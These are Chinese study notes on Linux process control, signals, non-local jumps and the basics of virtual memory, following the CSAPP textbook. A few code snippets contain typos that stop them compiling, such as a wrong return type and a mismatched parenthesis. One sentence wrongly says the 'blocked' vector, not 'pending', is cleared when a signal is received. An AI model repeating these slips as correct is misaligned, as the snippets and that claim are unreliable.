进程从用户模式变为内核模式的方法是通过 中断、故障、陷阱(系统调用就是陷阱)这样的异常 。异常发生时,控制传递给异常处理程序,处理器将模式从用户模式转变为内核模式。

/proc 文件系统

Linux 提供了一种叫做 /proc 文件系统的机制来允许用户模式进程访问内核数据结构的内容。

/proc 文件系统将许多内核数据结构的内容输出为一个用户程序可以读的文本文件的层次结构。

可以通过 /proc 文件系统找出一般的系统属性(如 CPU 类型:/proc/cpuinfo)或者某个特殊的进程使用的内存段(/proc//maps)。

2.6 版本的 Linux 内核引入了 /sys 文件系统,它输出关于系统总线和设备的额外的低层信息。

8.2.5上下文切换

上下文切换是一种较高层形式的异常控制流,它是建立在中断、故障等较低层异常机制之上的。

**系统通过上下文切换来实现多任务。**内核为每个进程维持一个上下文, 上下文是内核重新启动一个被挂起的进程所需的状态。

上下文由一些对象的值(是这些对象的值而非对象本身)组成,这些对象包括:通用目的寄存器、浮点寄存器、状态寄存器、程序计数器、用户栈、内核栈和各种内核数据结构(如描述地址空间的页表、包含有关当前进程信息的进程表、包含进程已打开文件的信息的文件表)。

内核挂起当前进程,并重新开始一个之前被挂起的进程的决策叫做调度,是由内核中的调度器完成的。

内核使用上下文切换来调度进程:

  1. 保存当前进程的上下文
  2. 恢复某个先前被抢占的进程被保存的上下文
  3. 将控制传递给这个新恢复的进程

当内核代表用户执行系统调用时,可能发生上下文切换。如果系统调用因为等待某个事件而阻塞(比如 sleep 系统调用显式地请求让调用进程休眠,或者一个 read 系统调用要从磁盘度数据),内核就可以让当前进程休眠,切换到另一个进程。即使系统调用没有阻塞,内核也可以进行上下文切换,而不是将控制返回给调用进程。

中断也可能引发上下文切换。如所有的系统都有一种定时器中断机制,即产生周期性定时器中断,通常为 1ms 或 10ms。当发生定时器中断,内核就判定当前进程已经运行了足够长时间,该切换到新的进程了。

进程上下文切换的剖析

8.3系统调用错误处理

Unix 系统级函数遇到错误时,它们通常会返回 -1,并设置全局整数变量 errno 来表示什么出错了。

程序员应该总是检查错误

strerror 函数返回一个文本串,描述了和某个 errno 值相关联的错误。使用 strerror 来查看错误

'调用 Unix fork 时检查错误'
if((pid = fork()) < 0) //如果发生错误,此时 errno 已经被设置为对应值了
{
    fprintf(stderr, "fork error: %s\n", strerror(errno));//strerror(errno) 返回描述当前 errno 值的文本串
    exit(0);
}
123456

错误处理包装函数

许多人因为错误检查会使代码臃肿、难读而放弃检查错误。可以通过定义错误报告函数及对原函数进行包装来简化代码。

对于一个给定的基本函数,定义一个首字母大写的包装函数来检查错误。

'错误报告函数'
void unix_error(char *msg)
{
    fprintf(stderr, "%s: %s\n", msg, strerror(errno));
    exit(0);
}
'fork 函数的错误处理包装函数 Fork'
pid_t Fork(void)
{
    pid_t pid;
    if ((pid = fork()) < 0)
        unix_error("Fork error"); //调用上面定义的包装函数
    return pid;    
}
1234567891011121314

8.4进程控制

8.4.1获取进程ID

每个进程都有一个唯一的非零正整数表示的进程 ID,叫做 PID。有两个获取进程 ID 的函数

  1. **getpid 函数:**返回调用进程的 PID(类型为 pid_t,在 type.h 中定义了 pid_t 为 int)。
  2. **getppid 函数:**返回它的父进程的 PID。
#include<sys/types.h>
#include<unistd.h>

pid getpid(void);
pid getppid(void);
12345

8.4.2创建与终止进程

进程总是处于以下三种状态之一:

  1. 运行。进程要么在 CPU 上执行,要么在等待被执行且最终被内核调度。
  2. 停止。进程的执行被挂起且不会被调度。当收到 SIGSTOP, SIGTSTP, SIGTTIN, SIGTTOU 信号时,进程就会停止,直到收到一个 SIGCONT 信号时再次开始运行。
  3. 终止。进程永远地停止了。进程有三种原因终止:收到一个信号,该信号的默认行为是终止进程从主进程返回调用 exit 函数

信号是一种软件中断的形式。

终止进程

#include <stdlib.h>
void exit(int status); // status 指定进程终止时的退出状态。
12

exit 函数以 status 退出状态来终止进程(另一种设置退出状态的方法是从主程序中返回一个整数值。理解:是否指 main 函数的返回值)。

创建进程

父进程通过调用 fork 函数创建一个新的运行的子进程。

fork 函数只被调用一次,但是会返回两次:一次返回是在父进程中,一次是在新创建的子进程中。父进程中返回子进程的 PID,子进程中返回 0。

因为 fork 创建的子进程的 PID 总是非零的,所以可以根据返回值是否为 0 来分辨是当前是在父进程还是在子进程。

#include <sys/types.h>
#include <unistd.h>
pid_t fork(void); //子进程返回 0,父进程返回子进程的 PID,如果出错,返回 -1   
123

子进程与父进程几乎完全相同:

  • 子进程得到与父进程用户级虚拟地址空间相同但独立的一份副本,包括代码段、数据段、堆、共享库、用户栈
  • 子进程获得与父进程所有文件描述符相同的副本。这意味着子进程可以读写父进程打开的任何文件

子进程和父进程之间的最大区别在于 PID 不同

8.4.3回收子进程

当一个进程终止时,内核并不会立即把它删除。相反,进程被保持在一种已终止的状态中,直到被它的父进程回收。

当父进程回收已终止的子进程时,内核将子进程的退出状态传递给父进程,然后清除子进程。

僵死进程:一个终止了但还未被回收的进程。

init 进程:系统启动时内核会创建一个 init 进程,它的 PID 为 1,不会终止,是所有进程的祖先

如果一个父进程终止了,init 进程会成为它的孤儿进程的养父。init 进程会负责回收没有父进程的僵死子进程

长时间没有运行的程序,总是应该回收僵死子进程。即使僵死子进程没有运行,也在消耗系统的内存资源。

waitpid 函数

一个进程可以通过调用 waitpid 函数来等待它的子进程终止或停止。

#include <sys/types.h>
#include <sys/wait.h>
pid_t waitpid(pid_t pid, int *statusp, int options);  //如果成功,返回对应的已终止的子进程的 PID;如果其他错误,返回 -1
    //只有当参数 options=WNOHANG 时,才有可能返回 0;其他情况要么返回子进程 PID,要么返回 -1
1234

waitpid 函数比较复杂。默认情况下 options = 0,此时 waitpid 会挂起调用进程的执行,直到它的等待集合中的一个子进程终止。如果等待集合中的一个进程在刚调用时就已经终止了,那么 waitpid 就立即返回。waitpid 的返回值是对应的已终止的子进程的 PID,此时该子进程会被回收,内核从系统中删除掉它的所有痕迹。

1 判定等待集合的成员

等待集合的成员是由参数 pid 确定的:

  • 如果 pid>0,等待集合就是进程 ID=pid 的那一个特定的子进程。
  • 如果 pid=-1,等待集合就是由父进程的所有子进程共同构成的。
  • 还有其他等待集合,不再讨论。

2 修改默认行为

默认情况下 options=0,可以将 options 设置为常量 WNOHANG, WUNTRACED, WCONTINUED 的各种组合来修改默认行为:

  • options=0,挂起调用进程的执行,直到它的等待集合中的一个子进程终止。如果等待集合中的一个进程在刚调用时就已经终止了,那么 waitpid 就立即返回。
  • options=WNOHANG,如果等待集合中的一个子进程终止了,返回该子进程 ID,如果没有子进程终止,也立即返回,返回值为 0。WNOHANG 的特点是立即返回,不会挂起调用进程。
  • options=WUNTRACED,挂起调用进程的执行,直到等待集合中的一个进程变成已终止或被停止,返回值是该子进程 ID。WUNTRACED 的特点是还可以检查被停止的子进程。
  • options=WCONTINUED,挂起调用进程的执行,直到等待集合中一个正在运行的进程终止或等待集合中一个被停止的进程收到 SIGCONT 信号重新开始执行。
  • options=WNOHANG|WUNTRACED,立即返回,如果等待集合中的子进程都没有被停止或终止,则返回 0,否则返回该子进程的 PID。

3 检查已回收子进程的退出状态

如果 statusp 参数是非空的,那么 waitpid 就会在 status 中放上关于导致 waitpid 返回的子进程的状态信息,status 是 statusp 指向的值。

wait.h 头文件定义了解释 status 参数的几个宏:

  • WIFEXITED(status):如果子进程通过调用 **exit 或者一个返回(return)**正常终止,就返回真。
  • WEXITSTATUS(status):返回一个正常终止的子进程的退出状态。只有在 WIFEXITED() 返回为真时,才会定义这个状态。
  • WIFSIGNALED(status):如果子进程是因为一个未被捕获的信号终止的,那么就返回真。
  • WTERMSIG(status):返回导致子进程终止的信号的编号。只有在 WIFSIGNALED() 返回为真时,才定义这个状态。
  • WIFSTOPPED(status):如果引起返回的子进程当前是停止的,就返回真。
  • WSTOPSIG(status):返回引起子进程停止的是信号的编号。只有在 WIFSTOPPED() 返回为真时,才定义这个状态。
  • WIFCONTINUED(status):如果子进程收到 SIGCONT 信号重新启动,则返回真。

4 错误条件

如果调用进程没有子进程,那么 waitpid 返回 -1,并设置 errno 为 ECHILD。如果 waitpid 函数被一个信号中断,那么它返回 -1,并设置 errno 为 EINTR

5 wait函数

wait 函数是 waitpid 函数的简单版本。

#include <sys/types.h>
#include <sys/wait.h>
pid_t wait(int *statusp);  //如果成功,返回子进程的 PID,如果出错,返回 -1
123

8.4.4让进程休眠

sleep函数:sleep 函数将一个进程挂起一段指定的时间。

  • 如果请求的休眠时间量到了,sleep 返回 0,否则返回还剩下的要休眠的秒数(当 sleep 函数被一个信号中断而过早地返回,会发生这种情况)。
#include <unistd.h>
unsigned int sleep(unsigned int secs); //返回还要休眠的秒数
12

pause函数:pause 函数让调用函数休眠,直到该进程收到一个信号

#include <unistd.h>
int pause(void);
12

8.4.5加载并运行程序

execve函数:execve 函数在当前进程的上下文中加载并运行一个新程序(是程序不是进程)。

#include <unistd.h>
int execve(const char *filename, const char *argv[], const char *envp[]); //如果成功,则不返回,如果错误,返回 -1。
12

execve 函数功能: 加载并运行可执行目标文件 filename**,并带一个参数列表 argv一个环境变量列表 envp。**

execve 调用一次并从不返回(区别于 fork 调用一次返回两次)。

参数列表和变量列表:

  • 参数列表:argv 指向一个以 null 结尾的指针数组,其中每个指针指向一个字符串。
  • 环境变量列表:envp 指向一个以 null 结尾的指针数组,其中每个指针指向一个环境变量字符串,每个串都是形如 “name=value” 的名字-值对。

execve函数的执行过程

execve 函数调用加载器加载了 filename 后,设置用户栈,并将控制传递给新程序的主函数(即 main 函数)。

main 函数:main 函数有以下形式的原型,两种是等价的。

int main(int argc, char **argv, char **envp);
int main(int argc, char *argv[], char *envp[]);
12

main 函数有三个参数:

  1. argc:给出 argv[ ] 数组中非空指针的数量。
  2. argv:指向 argv[ ] 数组中的第一个条目。
  3. envp:指向 envp[ ] 数组中的第一个条目。

argc 和 argv 的值都是从命令行中获取的,如果命令行中只有该可执行文件的名字,没有其他参数,则 argc=1,argv 的第一个元素的值即为该可执行文件的文件名(包含路径)

注意 argv[] 数组和 envp 数组最后一个元素都是 NULL,可以使用 NULL 作为循环终止条件来遍历数组。

用户栈的典型结构

操作环境变量数组的函数:

#include <stdlib.h>
char *getenv(const char *name);  //在环境变量列表中搜索字符串 "name=value",如果搜到了返回指向 value 的指针,否则返回 NULL
int setenv(const char *name, const char *newvalue, int overwrite);  //若成功返回 0,否则返回 -1。如果环境变量列表中包含一个形如 ”name=value" 的字符串,setnv 会用 newvalue 替代原来的 value,如果不存在,直接添加一个 "name=newvalue" 到数组中。
void unsetenv(const char *name); //如果环境变量列表中包含一个形如 ”name=value" 的字符串,unsetnv 会删除它。
1234

区分程序与进程

程序:程序是一堆代码和数据,程序可以作为目标文件存在于磁盘上,或作为段存在于虚拟地址空间中。

进程:进程是执行中程序的一个具体的实例

程序总是运行在某个进程的上下文中。

区分 fork 和 execve

fork 函数是在新的子进程中运行相同的程序,新的子进程是父进程的一个复制品。

execve 函数是在当前进程的上下文中加载并运行一个新的程序,它会覆盖当前进程的地址空间,但没有创建一个新的进程。

8.4.6利用fork和execve运行程序

像 Unix shell 和 Web 服务器这样程序大量使用了 fork 和 execve 函数

一个简单的 shell 的实现方式

shell 会打印一个命令行提示符,等待用户在 stdin 上输入命令行,然后对这个命令行求值。

shell 的 main 例程

#include "csapp.h"
#define MAXARGS   128

int main()
{
    char cmdline[MAXLINE]; /* Command line */

    while (1)
    {
        /* Read */
        printf("> ");
        Fgets(cmdline, MAXLINE, stdin);  //读取用户的输入
        if (feof(stdin))
            exit(0);

        /* Evaluate */
        eval(cmdline);  //解析命令行
    }
}
12345678910111213141516171819

解释并执行一个命令行

/* eval - Evaluate a command line */
void eval(char *cmdline)
{
    char *argv[MAXARGS]; /* Argument list execve() */
    char buf[MAXLINE];   /* Holds modified command line */
    int bg;              /* Should the job run in bg or fg? */
    pid_t pid;           /* Process id */

    strcpy(buf, cmdline);
    bg = parseline(buf, argv);  //调用 parseline 函数解析以空格分隔的命令行参数
    if (argv[0] == NULL)   //表示是空命令行
        return; /* Ignore empty lines */

    //调用 builtin_command 检查第一个命令行参数是否是一个内置的 shell 命令。如果是的话返回 1,并在函数内就解释并执行该命令。
    if (!builtin_command(argv)) //如果返回 0,即表明不是内置的 shell 命令
    {
        if ((pid = Fork()) == 0)    //创建一个子进程
        { /* Child runs user job */
            if (execve(argv[0], argv, environ) < 0)    //在子进程中执行所请求的程序
            {
                printf("%s: Command not found.\n", argv[0]);
                exit(0);
            }
        }

        /* Parent waits for foreground job to terminate */
        if (!bg) // bg=0 表示是要在前台执行的程序,shell 会等待程序执行完毕
        {
            int status;
            if (waitpid(pid, &status, 0) < 0)  //等待子进程结束回收该进程
                unix_error("waitfg: waitpid error");
        }
        else   // bg=1 表示是要在后台执行的程序,shell 不会等待它执行完毕
            printf("%d %s", pid, cmdline);
    }
    return;
}
12345678910111213141516171819202122232425262728293031323334353637

一个极简的 shell 程序包括以下几个函数:main 函数、eval 函数、parseline 函数、buildin 函数,它们的各自的主要职责如下:

  1. main:shell 程序的入口点,职责:循环从标准输入读取命令行字符串并调用 eval 函数解析并执行命令行字符串。
  2. eval:解析并执行命令行字符串。职责:首先调用 parseline 函数解析命令行字符串,然后使用 buildin 函数检查是否为内置命令,不是的话要生成一个进程(作业)来完成此命令,还要根据情况回收相应进程。
  3. parseline 函数:解析命令行字符串。职责:根据空格拆分命令行字符串,构造 argv 向量。
  4. buildin 函数:检查命令是否为内置命令,如果是的话直接调用相应函数,不是的话返回交给 eval 函数负责。

8.5信号

信号是一种更高层次的软件形式的异常,它允许进程和内核中断其他进程

一个信号就是一条消息,它通知进程系统中发生了某件事情。

每种信号类型都对应于某种系统事件。信号可以简单分为两类:

一类信号对应低层的硬件异常:

  • 此类异常由内核异常处理程序处理,对用户进程不可见。但是当发生异常,会通过信号通知用户进程发生了异常。
  • 例子:一个进程试图除以 0,内核会发送给他一个 SIGFPE 信号。

一类信号对应于内核或其他用户进程中叫高层的软件事件。

  • 例子:用户按下 Ctrl+C,内核会发送一个 SIGINT 信号给这个前台进程组中的每个进程。一个进程可以通过向另一个进程发送 SIGKILL 信号强制终止它。

linux信号

8.5.1信号术语

传送一个信号到目的进程包含两个步骤:

  1. **发送信号。*内核通过*更新目的进程上下文中的某个状态,发送一个信号给目的进程。
  2. 接收信号。当目的进程被内核强迫以某种方式对信号的发送做出反应时,就接受了信号。进程可以忽略、终止或通过执行一个叫做信号处理程序的用户层函数捕获这个信号。

发送信号有两种原因:

  1. 内核检测到一个系统事件,比如除零错误或子进程终止。
  2. 一个进程调用了 kill 函数,显式地要求内核发送一个信号给目的进程。一个进程可以发送信号给自己。

信号处理

待处理信号

待处理信号是指发出但没有被接收的信号。

一种类型最多只会有一个待处理信号。如果一个进程已经有一个类型为 k 的待处理信号,接下来发给他的类型为 k 的信号都会直接丢弃。

进程可以有选择地阻塞接收某种信号。当一种信号被阻塞,它仍可以发送,但是产生的待处理信号不会被接收。

一个待处理信号最多只能被接收一次。内核为每个进程在 pending 位向量中维护着待处理信号的集合,在 blocked 位向量中维护着被阻塞的信号集合。

只要传送了一个类型为 k 的信号,内核就会设置 pending 中的第 k 位,只要接收了一个类型为 k 的信号,内核就会清除 blocked 中的第 k 位。

8.5.2发送信号

Unix 系统提供了大量向进程发送信号的机制。这些机制都是基于**进程组(process group)**的概念。

进程组:每个进程都只属于一个进程组,进程组由一个正整数进程组 ID 来标识。

可以使用 getpgrp 函数获取当前进程的进程组 iD,可以使用 setpgid 函数改变自己或其他进程的进程组。

默认情况下,子进程和它的父进程同属于一个进程组。

#include<unistd.h>
pid_t getpgrp(void);   // 返回调用进程的进程组 ID
int setpgid(pid_t pid, pid_t pgid);     // 将进程 pid 的进程组改为 pgid。若成功返回 0,错误返回 -1。
        // 如果 pid=0,就表示使用当前进程的 pid,如果 pgid=0,就表示要将使用第一个参数 pid 作为进程组 ID。 
1234

用/bin/kill程序发送信号

可以用 Linux 中的 kill 程序向另外的进程发送任意的信号。

正的 PID 表示发送到对应进程,负的 PID 表示发送到对应进程组中的每个进程。

linux> /bin/kill -9 15213      # 发送信号9(SIGKILL)给进程 15213。
linux> /bin/kill -9 -15213     # 发送信号9(SIGKILL)给进程组 15213 中的每个进程。
12

上面使用了完整路径,因为有些 Unix shell 有自己内置的 kill 命令。

从键盘发送信号

Unix shell 使用作业这个抽象概念来表示为对一条命令行求值而创建的进程。在任何时刻,至多只有一个前台作业,后台作业可能有多个。

linux> ls | sort # 这会创建两个进程组成的前台作业,这两个进程通过 Unix 管道连接起来:一个进程运行 ls 程序,另一个运行 sort 程序

shell 为每个作业创建一个独立的进程组,进程组 ID 通常取作业中父进程中的一个。

前台和后台进程组

上图是一个包含一个前台作业与两个后台作业的 shell。

在键盘上输入 Ctrl+C 会导致内核发送一个 SIGINT 信号到前台进程组中的每个进程,默认情况下会终止前台作业。

输入 Ctrl+Z 会发送一个 SIGTSTP 信号到前台进程组中的每个进程,默认情况下会停止(挂起)前台作业

用kill函数发送信号

进程可以通过调用 kill 函数发送信号给其他进程(包括自己)。

#include<sys/types.h>
#include<signal.h>
int kill(pid_t pid, int sig);  //若成功则返回 0,若错误则返回 -1
123

pid 取值有三种情况:

  1. pid>0:kill 函数发送信号号码 sig 给进程 pid。
  2. pid=0:kill 函数发送信号 sig 给调用进程所在进程组中的每个进程,
  3. pid<0:kill 函数发送信号 sig 给进程组 | pid | (pid 的绝对值)中的每个进程。

用alarm函数发送信号

进程可以通过调用 alarm 函数向他自己发送 SIGALRM 信号。

#include<unistd.h>
unsigned int alarm(unsigned int secs);  //返回前一次闹钟剩余的描述,如果以前没有设定闹钟,就返回 0。
12

alarm 函数安排内核在 secs 秒后发送一个 SIGALRM 信号给调用进程。如果 secs=0,则不会调度安排新的闹钟。

在任何情况下,对 alarm 的调用都将取消任何待处理的闹钟,并返回任何待处理的闹钟在被发送前还剩下的秒数。如果没有待处理的闹钟,就返回 0。

发送信号的方法总结

  1. 内核给进程/进程组发送信号。
  2. 使用 /bin/kill 程序给进程/进程组发送任意信号。
  3. 调用 kill 函数给进程/进程组发送任意信号。
  4. 进程调用 alarm 函数给自己发送 SIGALRM 信号。
  5. 键盘按键来发送信号。

8.5.3接收信号

当内核把进程 p 从内核模式切换到用户模式时(比如从系统调用返回),他会检查进程 p 的未被阻塞的待处理信号的集合。如果集合为空,内核就将控制传递到 p 的逻辑控制流中的下一条指令;如果集合非空,内核就选择集合中的某个信号(通常是最小的 k),并强制 p 接收信号 k。

进程 p 收到信号会触发 p 采取某种行为,等进程完成了这个行为,控制就传递回 p 的逻辑控制流中的下一条指令。

每个信号类型都有一个预定义的默认行为,是下面中的一种:

  1. 进程终止。
  2. 进程终止并转储内存。
  3. 进程停止(被挂起)直到被 SIGCONT 信号重启。
  4. 进程忽略该信号。

**进程可以通过 *signal 函数*修改和信号相关联的默认行为,其中 SIGSTOP 和 SIGKILL 的默认行为不能修改。

signal 是在 C 标准库的头文件 signal.h 中定义的。

#include<signal.h>  
typedef void (*sighandler_t)(int); 
sighandler_t signal(int signum, sighandler_t handler); //若成功返回指向前次处理程序的指针,若出错则返回 SIG_ERR(不设置 errno)。
123

signal 函数接受两个参数:信号值和函数指针,可以通过下列三种方法之一来改变和信号 signum 相关联的行为:

  1. 如果 handler 是 SIG_IGN,那么忽略类型为 signum 的信号。SIG_IGN 是 signal.h 中定义的一个宏。
  2. 如果 handler 是 SIG_DFL,那么类型为 signum 的信号行为恢复为默认行为。SIG_DEF 是 signal.h 中定义的一个宏。
  3. 如果 hanlder 是用户定义的函数的地址,这个函数就被称为信号处理程序。只要进程接收到一个类型为 signum 的信号,就会调用这个程序。通过把处理程序的地址传递到 signal 函数来改变默认行为,这叫做设置信号处理程序。调用信号处理程序被称作捕获信号。执行信号处理程序被称作处理信号。

当处理程序执行它的 return 语句时,控制传递回控制流中进程被信号接收中断位置处的指令。

sigaction函数的功能是检查或修改与指定信号相关联的处理动作

int sigaction(int signum, const struct sigaction *act,struct sigaction *oldact);
1
  • signum:要操作的信号。
  • act:要设置的对信号的新处理方式。
  • oldact:原来对信号的处理方式。
  • 返回值:0 表示成功,-1 表示有错误发生。

struct sigaction结构体介绍

struct sigaction {
    void (*sa_handler)(int);
    void (*sa_sigaction)(int, siginfo_t *, void *);
    sigset_t sa_mask;
    int sa_flags;
    void (*sa_restorer)(void);
}
1234567
  • sa_handler此参数和signal()的参数handler相同,代表新的信号处理函数
  • sa_mask 用来设置在处理该信号时暂时将sa_mask 指定的信号集搁置
  • sa_flags 用来设置信号处理的其他相关操作,下列的数值可用。
    • SA_RESETHAND:当调用信号处理函数时,将信号的处理函数重置为缺省值SIG_DFL
    • SA_RESTART:如果信号中断了进程的某个系统调用,则系统自动启动该系统调用
    • SA_NODEFER :一般情况下, 当信号处理函数运行时,内核将阻塞该给定信号。但是如果设置了 SA_NODEFER标记, 那么在该信号处理函数运行时,内核将不会阻塞该信号
    • SA_NOCLDSTOP:使父进程在它的子进程暂停或继续运行时不会收到 SIGCHLD 信号。
    • SA_NOCLDWAIT:使父进程在它的子进程退出时不会收到 SIGCHLD 信号,这时子进程如果退出也不会成为僵尸进程。
    • SA_SIGINFO:使用 sa_sigaction 成员而不是 sa_handler 作为信号处理函数。

信号处理程序可以被其他信号处理程序中断。

信号处理程序可以被其他信号处理程序中断

一个信号处理程序的例子

#include "csapp"
void sigint_handler(int sig)  //定义了一个信号处理程序
{
    printf("Caught SIGINT!\n");
    exit(0);
}
int main()
{
    /* Install the SIGINT handler */
    if(signal(SIGINT, sigint_handler)) == SIGERR)
        unix_error("signal error");
    pause(); // wait for the receipt of signal
    return 0;    
}c++
1234567891011121314

8.5.4阻塞和解除阻塞信号

Linux 提供两种阻塞信号的机制:

  1. 隐式阻塞机制。内核默认阻塞任何当前处理程序正在处理信号类型的待处理的信号。
  2. 显式阻塞机制。应用程序可以使用 sigprocmask 函数和它的辅助函数,明确地阻塞和解除阻塞选定的信号。

sigprocmask函数

sigprocmask 函数改变当前阻塞的信号集合(blocked 位向量),具体行为依赖 how 的值:

  1. SIG_BLOCK:把 set 中的信号添加到 blocked 中(blocked = blocked | set)。
  2. SIG_UNBLOCK:从 blocked 中删除 set 中的信号(blocked = blocked & ~set)。
  3. SIG_SETMASK:block = set。
#include<signal.h>
int sigprocmask(int how, const sigset_t *set, sigset_t *oldset);  
12

如果 oldset 非空,blocked 位向量之前的值保存在 oldset 中。

其他辅助函数

辅助函数用来对 set 信号集合进行操作:

  1. sigemptyset 初始化 set 为空集合;
  2. sigfillset 把每个信号都添加到 set 中;
  3. sigaddset 把信号 signum 添加到 set 中;
  4. sigdelset 把信号 signum 从 set 中删除。如果 signum 是 set 的成员返回 1,不是返回 0。
int sigemptyset(sigset_t *set);
int sigfillset(sigset_t *set);
int sigaddset(sigset_t *set, int signum);
int sigdelset(segset_t *set, int signum);
1234

一个临时阻塞 SIGINT 信号的例子

sigset_t mask, prev_mask;
Sigemptyset(&mask);   
Sigaddset(&mask, SIGINT);  //将 SIGINT 信号添加到 set 集合中

Sigprocmask(SIG_BLOCK, &mask, &prev_mask);  //阻塞 SIGINT 信号,并把之前的阻塞集合保存到 prev_mask 中。
...                                         //这部分的代码不会被 SIGINT 信号所中断
Sigprocmask(SIG_SETMASK, &prev_mask, NULL); //恢复之前的阻塞信号,取消对 SIGINT 的阻塞
1234567

8.6非本地跳转

8.6 非本地跳转

C 语言提供了一种用户级异常控制流形式,称为非本地跳转,它将控制直接从一个函数转移到另一个当前正在执行的函数,而不需要经过正常的调用-返回序列(即 C 标准库 setjmp.h 的内容)。

非本地跳转通过 setjmp 和 longjmp 函数来完成

sigjmp函数

#include<setjmp.h>   //c 标准库中的头文件
int setjmp(jmp_buf env);  //返回 0,setjmp 的返回值不能被赋值给变量,但可以用在条件语句的测试中
int sigsetjmp(sigjmp_buf env, int savesigs);
123

setjmp 函数在 env 缓冲区中保存当前调用环境,以供后面的 longjmp 使用。

调用环境包括程序计数器、栈指针和通用目的寄存器。

longjmp函数

void longjmp(jmp_buf env, int retval);
void siglongjmp(sigjmp_buf env, int retval);
12

longjmp 函数从 env 缓冲区中恢复调用环境,然后触发一个从最近一次初始化 env 的 setjmp 调用的返回。然后 setjmp 返回,并带有非零的返回值 retval。

setjmp 和 longjmp 之间的关系比较复杂:setjmp 函数只被调用一次,但返回多次:一次是第一次调用 setjmp 将调用环境保存在 env 中时,一次是为每个相应的 longjmp 调用。而 longjmp 函数被调用一次,但从不返回

非本地跳转的一个重要应用:允许从一个深层嵌套的函数调用中立即返回,而不需要解开整个栈的基本框架,通常是由检测到某个错误情况引起的。

C++ 和 Java 提供的 try 语句块异常处理机制是较高层次的,是 C 语言的 setjmp 和 longjmp 函数的更加结构化的版本。可以把 throw 语句看作 longjmp 函数,catch 子句看作 setjmp 函数

8.7操作进程的工具

Linux 系统提供了大量的监控和操作进程的工具:

  1. STRACE:打印一个正在运行的程序和它的子进程调用的每个系统调用的轨迹。
  2. PS:列出当前系统中的进程(包括僵死进程)。
  3. TOP:打印关于当前进程资源使用的信息。
  4. PMAP:显示进程的内存映射。
  5. /proc:一个虚拟文件系统,以 ASCII 文本格式输出大量内核数据结构的内容,用户程序可以读取这些内容。

第9章 虚拟内存

为了更加有效地管理内存并减少出错,现代系统提供了一种对主存的抽象概念,叫做虚拟内存(VM)。

虚拟内存是硬件异常、硬件地址翻译、主存、磁盘文件和内核软件的完美交互,它为每个进程提供了一个大的、一致的和私有的地址空间

虚拟内存提供了三个重要能力:

  1. 将主存看成一个存储在磁盘上的地址空间的高速缓存,在主存中只保存活动区域,并根据需要在磁盘和主存中传送数据。
  2. 为每个进程提供了一致的地址空间,简化了内存管理。进而简化了链接、进程间共享数据、进程的内存分配、程序加载。
  3. 保护了每个进程的地址空间不被其他进程破坏。

存储器层次结构:

从这个层次结构来看,从上到下,设备的访问速度越来越慢,容量越来越大,每字节的造价也越来越便宜。这个层次结构的主要思想就是:上一层存储设备是下一层存储设备的高速缓存。例如,寄存器文件就是 L1 的高速缓存,L1 是 L2 的高速缓存,内存是磁盘的高速缓存等等。

存储器层次结构

虚拟内存的几个特点:

  1. 虚拟内存遍及计算机系统的所有层面,在硬件异常、汇编器、链接器、加载器、共享对象、文件和进程的设计中都扮演着重要角色。
  2. 虚拟内存给予应用程序强大的能力,可以创建和销毁内存片(chunk),将内存片映射到磁盘文件的某个部分,以及与其他进程共享内存。
  3. 虚拟内存很危险。每次应用程序引用一个变量、间接引用一个指针或调用一个如 malloc 的动态分配程序时,都会和虚拟内存交互,如果使用不当就会发生错误。

9.1物理和虚拟寻址

计算机系统的主存被组织成一个由 M 个连续的字节大小的单元组成的数组。每字节都有一个唯一的物理地址。CPU 访问内存最自然的方式就是使用物理地址,称为物理寻址

物理寻址

现代 CPU 使用的是虚拟寻址:CPU 通过生成一个**虚拟地址(VA)**来访问主存,这个虚拟地址首先通过地址翻译转换为物理地址。

虚拟寻址

地址翻译需要 CPU 硬件和操作系统之间的紧密合作。CPU 芯片上名为内存管理单元(MMU)的专用硬件,利用存放在主存中的查询表动态翻译虚拟地址,该表的内容由操作系统管理。

9.2地址空间

地址空间是一个非负整数地址的有序集合:{0, 1, 2, …}

如果地址空间中的整数是连续的,就称为线性地址空间(line address space)。

假定使用的线性地址空间,在一个带虚拟内存的计算机系统中,CPU 从一个有 N=2^n 个地址的地址空间中生成虚拟地址,这个地址空间称为虚拟地址空间(virtual address space):{0,1,2,…,N-1}

一个地址空间的大小是由表示最大地址所需要的位数来描述的,例如现代的 64 位计算机一般支持 64 位虚拟地址空间。

主存中的每个字节都有一个虚拟地址和一个物理地址

9.3虚拟内存作为缓存的工具

虚拟内存作为磁盘的高速缓存,和存储器层次结构中的其他缓存一样,磁盘(较低层)中的数据被分割成块,作为磁盘和主存(较高层)之间的传输单元。

VM(虚拟内存)系统通过将虚拟内存分割为虚拟页(Virtual Page,VP)来处理此问题。每个虚拟页的大小为 P=2^p。

类似的,物理内存被分割为物理页(PP),大小也是 P 字节。物理页也被称为页帧。(虚拟页VP存储在磁盘上,物理页PP缓存在DRAM中)

任何时刻,所有的虚拟页都被分为了三个不相交的子集:

  1. 未分配的:VM 系统还未分配(未创建)的页。未分配的块没有任何数据与它们相关联,因此不占用任何磁盘空间。
  2. 已缓存的:当前已缓存在物理内存中的已分配页。
  3. 未缓存的:未缓存在物理内存中的已分配页。

示例如下:虚拟页0和3未分配;1,4,6为已缓存的;2,5,7为已分配但未缓存的。

一个VM系统是如何使用主存作为缓存的

9.3.1DRAM缓存的组织结构

术语DRAM缓存表示虚拟内存系统的缓存,她在主存中缓存虚拟页。

主存一般采用 DRAM,DRAM 与磁盘之间的速度差要比 SRAM 与 DRAM 之间的速度差大很多,并且从磁盘的一个扇区读取第一个字节的时间开销比读这个扇区中的连续字节要慢很多。因此 DRAM 缓存的组织结构与高速缓存有很大不同。

因为严重的不命中处罚访问第一个字节的开销,虚拟页一般很大,通常在 4KB~2MB,且 DRAM 缓存是全相联的,即任何虚拟页都可以放在任何的物理页中。不命中时的替换策略也很重要。

因为访问磁盘很慢,所以 DRAM 都采用写回(即延时写),而非直写。

9.3.2页表

VM 系统需要判定一个虚拟页是否缓存在 DRAM 中的某个地方,如果是,需要确定虚拟页存放在哪个物理页中,如果不命中,需要判断虚拟页存放在磁盘的哪个位置;在 DRAM 中选择一个牺牲页,并把虚拟页从磁盘复制到 DRAM 中,替换这个牺牲页。

这些功能是由软硬件联合提供的,包括操作系统软件、MMU 中的地址翻译硬件和一个存放在物理内存中的页表(page table)。

  1. 页表是一个存放在 DRAM 中的数据结构,它将虚拟页映射到物理页
  2. 每次地址翻译硬件将一个虚拟地址转换为硬件地址时都会读取页表。
  3. 操作系统负责维护页表的内容,以及在磁盘和 DRAM 间传送页。

